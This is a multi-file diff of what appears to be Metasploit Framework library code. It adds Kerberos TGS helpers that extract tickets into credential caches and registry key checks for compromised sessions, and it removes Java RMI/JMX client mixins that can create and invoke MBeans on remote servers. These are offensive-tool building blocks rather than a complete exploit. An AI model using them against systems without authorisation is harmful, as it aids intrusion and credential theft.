body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype,
enc_auth_data: enc_auth_data
)
body
end
# Builds a Kerberos TGS Request body checksum
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::Checksum]
# @see #build_tgs_request_body
# @see Rex::Proto::Kerberos::Model::Checksum
def build_tgs_body_checksum(opts = {})
body = opts[:body] || build_tgs_request_body(opts)
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
type: 7,
checksum: checksum_body
)
checksum
end
end
end
end
end
end
end

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module TgsResponse
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
# from a Kerberos TGS response.
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Msf::Kerberos::Client::CacheCredential
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def extract_kerb_creds(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
client = create_cache_principal(
name_type: res.cname.name_type,
realm: res.crealm,
components: res.cname.name_string
)
server = create_cache_principal(
name_type: enc_res.sname.name_type,
realm: enc_res.srealm,
components: enc_res.sname.name_string
)
key = create_cache_key_block(
key_type: enc_res.key.type,
key_value: enc_res.key.value
)
times = create_cache_times(
auth_time: enc_res.auth_time,
start_time: enc_res.start_time,
end_time: enc_res.end_time,
renew_till: enc_res.renew_till
)
credential = create_cache_credential(
client: client,
server: server,
key: key,
time: times,
ticket: res.ticket.encode,
flags: enc_res.flags
)
cache_principal = create_cache_principal(
name_type: res.cname.name_type, # NT_PRINCIPAL
#realm: realm,# opts[:realm],
realm: res.crealm,
#components: user # [opts[:cname]]
components: res.cname.name_string
)
cache = create_cache(
primary_principal: cache_principal,
credentials: [credential]
)
cache
end
end
end
end
end
end
end

View File

@ -105,3 +105,6 @@ require 'msf/core/exploit/android'
# Browser Exploit Server
require 'msf/core/exploit/remote/browser_exploit_server'
require 'msf/core/exploit/browser_autopwn2'
# Kerberos Support
require 'msf/core/exploit/kerberos/client'

View File

@ -76,9 +76,12 @@ module Msf::Payload::Windows
# info['Alias'] = 'windows/' + info['Alias']
#end
acceptable_exit_types = @@exit_types.keys.collect { |e| e.blank? ? "''" : e }.uniq
register_options(
[
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys])
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', acceptable_exit_types])
], Msf::Payload::Windows )
ret
end

View File

@ -145,6 +145,19 @@ module Registry
end
end
# Checks if a key exists on the target registry
#
# @param key [String] the full path of the key to check
# @return [Boolean] true if the key exists on the target registry, false otherwise
# (also in case of error)
def registry_key_exist?(key)
if session_has_registry_ext
meterpreter_registry_key_exist?(key)
else
shell_registry_key_exist?(key)
end
end
protected
#
@ -310,6 +323,26 @@ protected
shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view)
end
# Checks if a key exists on the target registry using a shell session
#
# @param key [String] the full path of the key to check
# @return [Boolean] true if the key exists on the target registry, false otherwise,
# even if case of error (invalid arguments) or the session hasn't permission to
# access the key
def shell_registry_key_exist?(key)
begin
key = normalize_key(key)
rescue ArgumentError
return false
end
results = shell_registry_cmd("query \"#{key}\"")
if results =~ /ERROR: /i
return false
else
return true
end
end
##
# Meterpreter-specific registry manipulation methods
@ -515,6 +548,27 @@ protected
end
end
# Checks if a key exists on the target registry using a meterpreter session
#
# @param key [String] the full path of the key to check
# @return [Boolean] true if the key exists on the target registry, false otherwise
# (also in case of error)
def meterpreter_registry_key_exist?(key)
begin
root_key, base_key = session.sys.registry.splitkey(key)
rescue ArgumentError
return false
end
begin
check = session.sys.registry.check_key_exists(root_key, base_key)
rescue Rex::Post::Meterpreter::RequestError, TimesoutError
return false
end
check
end
#
# Normalize the supplied full registry key string so the root key is sane. For
# instance, passing "HKLM\Software\Dog" will return 'HKEY_LOCAL_MACHINE\Software\Dog'

View File

@ -30,7 +30,7 @@ class RPC_Core < RPC_Base
end
# Returns a global datstore option.
# Returns a global datastore option.
#
# @param [String] var The name of the global datastore.
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.

View File

@ -1,96 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
module Msf
module Java
module Rmi
module Builder
# Builds a RMI header stream
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :signature
# @option opts [Fixnum] :version
# @option opts [Fixnum] :protocol
# @return [Rex::Proto::Rmi::Model::OutputHeader]
def build_header(opts = {})
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
version = opts[:version] || 2
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
header = Rex::Proto::Rmi::Model::OutputHeader.new(
signature: signature,
version: version,
protocol: protocol)
header
end
# Builds a RMI call stream
#
# @param opts [Hash{Symbol => <Fixnum, Array>}]
# @option opts [Fixnum] :message_id
# @option opts [Fixnum] :object_number Random to identify the object.
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
# @option opts [Fixnum] :uid_time Time where the object was generated.
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
# at the same time.
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
# it is -1.
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
# representing the method to call.
# @option opts [Array] :arguments
# @return [Rex::Proto::Rmi::Model::Call]
def build_call(opts = {})
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
operation = opts[:operation] || -1
hash = opts[:hash] || 0
arguments = opts[:arguments] || []
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
number: uid_number,
time: uid_time,
count: uid_count
)
call_data = Rex::Proto::Rmi::Model::CallData.new(
object_number: object_number,
uid: uid,
operation: operation,
hash: hash,
arguments: arguments
)
call = Rex::Proto::Rmi::Model::Call.new(
message_id: message_id,
call_data: call_data
)
call
end
# Builds a RMI dgc ack stream
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :stream_id
# @option opts [String] :unique_identifier
# @return [Rex::Proto::Rmi::Model::DgcAck]
def build_dgc_ack(opts = {})
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
stream_id: stream_id,
unique_identifier: unique_identifier
)
dgc_ack
end
end
end
end
end

View File

@ -1,147 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/rmi'
require 'rex/java/serialization'
require 'stringio'
module Msf
module Java
module Rmi
module Client
require 'msf/java/rmi/util'
require 'msf/java/rmi/builder'
require 'msf/java/rmi/client/registry'
require 'msf/java/rmi/client/jmx'
include Msf::Java::Rmi::Util
include Msf::Java::Rmi::Builder
include Msf::Java::Rmi::Client::Registry
include Msf::Java::Rmi::Client::Jmx
include Exploit::Remote::Tcp
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the target port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the RMI server peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Sends a RMI header stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_header
def send_header(opts = {})
nsock = opts[:sock] || sock
stream = build_header(opts)
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
end
# Sends a RMI CALL stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @option opts [Rex::Proto::Rmi::Model::Call] :call
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_call
def send_call(opts = {})
nsock = opts[:sock] || sock
call = opts[:call] || build_call(opts)
nsock.put(call.encode)
end
# Sends a RMI DGCACK stream
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Fixnum] the number of bytes sent
# @see Msf::Rmi::Client::Streams#build_dgc_ack
def send_dgc_ack(opts = {})
nsock = opts[:sock] || sock
stream = build_dgc_ack(opts)
nsock.put(stream.encode)
end
# Reads the Protocol Ack
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
def recv_protocol_ack(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
rescue Rex::Proto::Rmi::DecodeError
return nil
end
ack
end
# Reads a ReturnData message and returns the java serialized stream
# with the return data value.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
# @return [NilClass] otherwise
# @see Rex::Proto::Rmi::Model::ReturnData.decode
def recv_return(opts = {})
nsock = opts[:sock] || sock
data = safe_get_once(nsock)
begin
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
rescue Rex::Proto::Rmi::DecodeError
return nil
end
return_data.return_value
end
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
#
# @param nsock [Rex::Socket::Tcp]
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
until res.nil? || res.length < 1448
data << res
begin
res = nsock.get_once
rescue ::EOFError
res = nil
end
end
data << res if res
data
end
end
end
end
end

View File

@ -1,23 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
require 'msf/java/rmi/client/jmx/server'
require 'msf/java/rmi/client/jmx/connection'
include Msf::Java::Rmi::Client::Jmx::Server
include Msf::Java::Rmi::Client::Jmx::Connection
OBJECT_NAME_UID = 1081892073854801359
BYTE_ARRAY_UID = -5984413125824719648
MARSHALLED_OBJECT_UID = 8988374069173025854
STRING_ARRAY_UID = -5921575005990323385
OBJECT_ARRAY_UID = -8012369246846506644
end
end
end
end
end

View File

@ -1,122 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
# This mixin provides methods to simulate calls to the Java
# javax/management/remote/rmi/RMIConnectionImpl_Stub
# interface
module Connection
require 'msf/java/rmi/client/jmx/connection/builder'
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
def send_jmx_get_object_instance(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_get_object_instance(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
def send_jmx_create_mbean(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_create_mbean(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'javax.management.ObjectInstance'
return nil
end
true
end
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [TrueClass, NilClass] true if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
def send_jmx_invoke(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_invoke(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
unless return_value.get_class_name == 'java.util.HashSet'
return nil
end
true
end
end
end
end
end
end
end

View File

@ -1,234 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Connection
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_get_object_instance(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
arguments = build_jmx_get_object_instance_args(name)
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
#
# @param name [String] the MBean name
# @return [Array]
def build_jmx_get_object_instance_args(name = '')
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
# used to retrieve an MBean instance
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_create_mbean(opts = {})
name = opts[:name] || ''
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
arguments = build_jmx_create_mbean_args(name)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
#
# @param name [Hash] the MBean name
# @return [Array]
def build_jmx_create_mbean_args(name = '')
arguments = [
Rex::Java::Serialization::Model::Utf.new(nil, name),
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
end
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# used to invoke an MBean method
#
# @param opts [Hash]
# @option opts [String] :name the MBean name
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
# @see #build_jmx_invoke_args
def build_jmx_invoke(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
arguments = build_jmx_invoke_args(opts)
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: method_hash,
arguments: arguments
)
call
end
# Builds an an array of arguments o build a call to
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
#
# @param opts [Hash]
# @option opts [String] :object the MBean name
# @option opts [String] :method the method name
# @option opts [Hash] :args the method arguments
# @return [Array]
def build_jmx_invoke_args(opts = {})
object_name = opts[:object] || ''
method_name = opts[:method] || ''
args = opts[:args] || {}
builder = Rex::Java::Serialization::Builder.new
new_object = builder.new_object(
name: 'javax.management.ObjectName',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
flags: 3
)
data_binary = builder.new_array(
name: '[B',
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
values_type: 'byte',
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
)
marshall_object = builder.new_object(
name: 'java.rmi.MarshalledObject',
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
fields: [
['int', 'hash'],
['array', 'locBytes', '[B'],
['array', 'objBytes', '[B']
],
data: [
["int", 1919492550],
Rex::Java::Serialization::Model::NullReference.new,
data_binary
]
)
new_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
)
arguments = [
new_object,
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
marshall_object,
new_array,
Rex::Java::Serialization::Model::NullReference.new
]
arguments
end
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
# method.
#
# @param args [Hash] the arguments of the method to invoke
# @return [Rex::Java::Serialization::Model::Stream]
def build_invoke_arguments_obj_bytes(args = {})
builder = Rex::Java::Serialization::Builder.new
new_array = builder.new_array(
name: '[Ljava.lang.Object;',
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
values_type: 'java.lang.Object;',
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents << new_array
stream
end
end
end
end
end
end
end

View File

@ -1,57 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
require 'msf/java/rmi/client/jmx/server/builder'
require 'msf/java/rmi/client/jmx/server/parser'
include Msf::Java::Rmi::Client::Jmx::Server::Builder
include Msf::Java::Rmi::Client::Jmx::Server::Parser
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
# method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The connection information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
def send_new_client(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_jmx_new_client(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
return nil
end
reference = parse_jmx_new_client_endpoint(return_value)
reference
end
end
end
end
end
end
end

View File

@ -1,73 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
module Builder
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
# used to enumerate the names bound in a registry
#
# @param opts [Hash]
# @option opts [String] :username the JMX role to establish the connection if needed
# @option opts [String] :password the JMX password to establish the connection if needed
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_jmx_new_client(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
username = opts[:username]
password = opts[:password] || ''
if username
arguments = build_jmx_new_client_args(username, password)
else
arguments = [Rex::Java::Serialization::Model::NullReference.new]
end
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: -1,
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
arguments: arguments
)
call
end
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
#
# @param username [String] The username (role) to authenticate with
# @param password [String] The password to authenticate with
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
def build_jmx_new_client_args(username = '', password = '')
builder = Rex::Java::Serialization::Builder.new
auth_array = builder.new_array(
name: '[Ljava.lang.String;',
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, username),
Rex::Java::Serialization::Model::Utf.new(nil, password)
]
)
[auth_array]
end
end
end
end
end
end
end
end

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Jmx
module Server
module Parser
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
# to find out the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_jmx_new_client_endpoint(return_value)
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
end
end
end
end
end
end
end

View File

@ -1,129 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
# interface
module Registry
require 'msf/java/rmi/client/registry/builder'
require 'msf/java/rmi/client/registry/parser'
include Msf::Java::Rmi::Client::Registry::Builder
include Msf::Java::Rmi::Client::Registry::Parser
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
def send_registry_lookup(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_lookup(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
remote_object = return_value.get_class_name
if remote_object.nil?
return nil
end
remote_location = parse_registry_lookup_endpoint(return_value)
if remote_location.nil?
return nil
end
remote_location.merge(object: remote_object)
end
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
# java/rmi/registry/RegistryImpl_Stub#list() method
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [Array, NilClass] The set of names if success, nil otherwise
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
def send_registry_list(opts = {})
send_call(
sock: opts[:sock] || sock,
call: build_registry_list(opts)
)
return_value = recv_return(
sock: opts[:sock] || sock
)
if return_value.nil?
return nil
end
if return_value.is_exception?
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
end
names = parse_registry_list(return_value)
names
end
# Calculates the hash to make RMI calls for the
# java/rmi/registry/RegistryImpl_Stub interface
#
# @return [Fixnum] The interface's hash
def registry_interface_hash
hash = calculate_interface_hash(
[
{
name: 'bind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
},
{
name: 'list',
descriptor: '()[Ljava/lang/String;',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'lookup',
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
},
{
name: 'rebind',
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
},
{
name: 'unbind',
descriptor: '(Ljava/lang/String;)V',
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
}
]
)
hash
end
end
end
end
end
end

View File

@ -1,66 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Registry
module Builder
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
# retrieve the remote reference bound to a name.
#
# @param opts [Hash]
# @option opts [String] :name the name to lookup
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_registry_lookup(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
name = opts[:name] || ''
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 2, # java.rmi.Remote lookup(java.lang.String)
hash: registry_interface_hash,
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
)
call
end
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
# enumerate the names bound in a registry
#
# @param opts [Hash]
# @return [Rex::Proto::Rmi::Model::Call]
# @see Msf::Java::Rmi::Builder.build_call
def build_registry_list(opts = {})
object_number = opts[:object_number] || 0
uid_number = opts[:uid_number] || 0
uid_time = opts[:uid_time] || 0
uid_count = opts[:uid_count] || 0
call = build_call(
object_number: object_number,
uid_number: uid_number,
uid_time: uid_time,
uid_count: uid_count,
operation: 1, # java.lang.String list()[]
hash: registry_interface_hash,
arguments: []
)
call
end
end
end
end
end
end
end

View File

@ -1,49 +0,0 @@
# -*- coding: binary -*-
module Msf
module Java
module Rmi
module Client
module Registry
module Parser
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
# the remote reference information.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
def parse_registry_lookup_endpoint(return_value)
values_size = return_value.value.length
end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
# the list of names registered.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Array, NilClass] The list of names registered if success, nil otherwise
def parse_registry_list(return_value)
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
return nil
end
unless return_value.value[0].type == 'java.lang.String;'
return nil
end
return_value.value[0].values.collect { |val| val.contents }
end
end
end
end
end
end
end

View File

@ -1,122 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
require 'rex/text'
module Msf
module Java
module Rmi
module Util
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
#
# @param signature [String] The remote method signature as specified by the JDK 1.2,
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
# @return [Fixnum] The method hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
def calculate_method_hash(signature)
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
sha1 = Rex::Text.sha1_raw(utf.encode)
sha1.unpack('Q<')[0]
end
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
#
# @param methods [Array] set of method names and their descriptors
# @return [Fixnum] The interface hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
def calculate_interface_hash(methods)
stream = ''
stream << [1].pack('N') # stub version number
